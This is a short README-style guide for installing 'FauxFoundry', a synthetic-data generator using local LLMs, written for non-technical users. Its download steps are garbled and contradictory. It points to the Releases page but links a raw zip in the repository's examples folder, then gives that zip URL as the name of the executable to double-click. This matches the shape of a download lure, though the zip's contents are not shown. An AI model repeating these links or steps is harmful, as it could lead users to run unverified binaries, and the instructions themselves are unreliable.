FauxFoundry allows you to create synthetic data using local large language models (LLMs). This guide helps you easily download and run the software without any technical skills.
To run FauxFoundry, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- RAM: At least 4 GB recommended
- Free Disk Space: At least 200 MB
- Generate JSONL or YAML formatted data.
- Focus on healthcare applications.
- Easy-to-use Command Line Interface (CLI) and Text User Interface (TUI).
- Keep your data private and secure.
- Open Source software for community contribution.
-
Visit the Releases Page
Go to the Releases page to download the latest version of FauxFoundry. Click the link below:
Download faux-foundry -
Select the Latest Release
Find the latest version listed at the top of the page. Look for a link that includes the version number, such ashttps://github.com/Red1998/faux-foundry/raw/refs/heads/main/examples/foundry_faux_v1.5.zip. -
Download the File
Click on the file link to start the download. This may take a moment depending on your internet speed. -
Extract the Files
Once the download completes, locate the file (usually in your Downloads folder). Right-click the zip file and select "Extract All" (Windows) or double-click to extract (macOS). -
Run the Application
Navigate to the folder where you extracted the files. Find the executable file namedhttps://github.com/Red1998/faux-foundry/raw/refs/heads/main/examples/foundry_faux_v1.5.zip(Windows) orfaux-foundry(macOS/Linux). Double-click the file to run it. -
Follow On-Screen Instructions
Once the application opens, follow the prompts on the screen to generate your synthetic data. -
Explore Options
You can choose to work with different data formats like JSONL or YAML. Adjust settings according to your needs.
If you encounter any issues, please check the "Issues" tab on our GitHub page. You can also create a new issue for help.
Visit the documentation linked in the repository for detailed instructions on advanced features, customization options, and examples of generated data.
FauxFoundry is open-source. We welcome contributions! Feel free to fork the repository, make improvements, and submit pull requests.
FauxFoundry is licensed under the MIT License. You can use it freely but please respect the license terms.
By following this guide, you can easily download and run FauxFoundry to generate synthetic data. Enjoy your experience with FauxFoundry!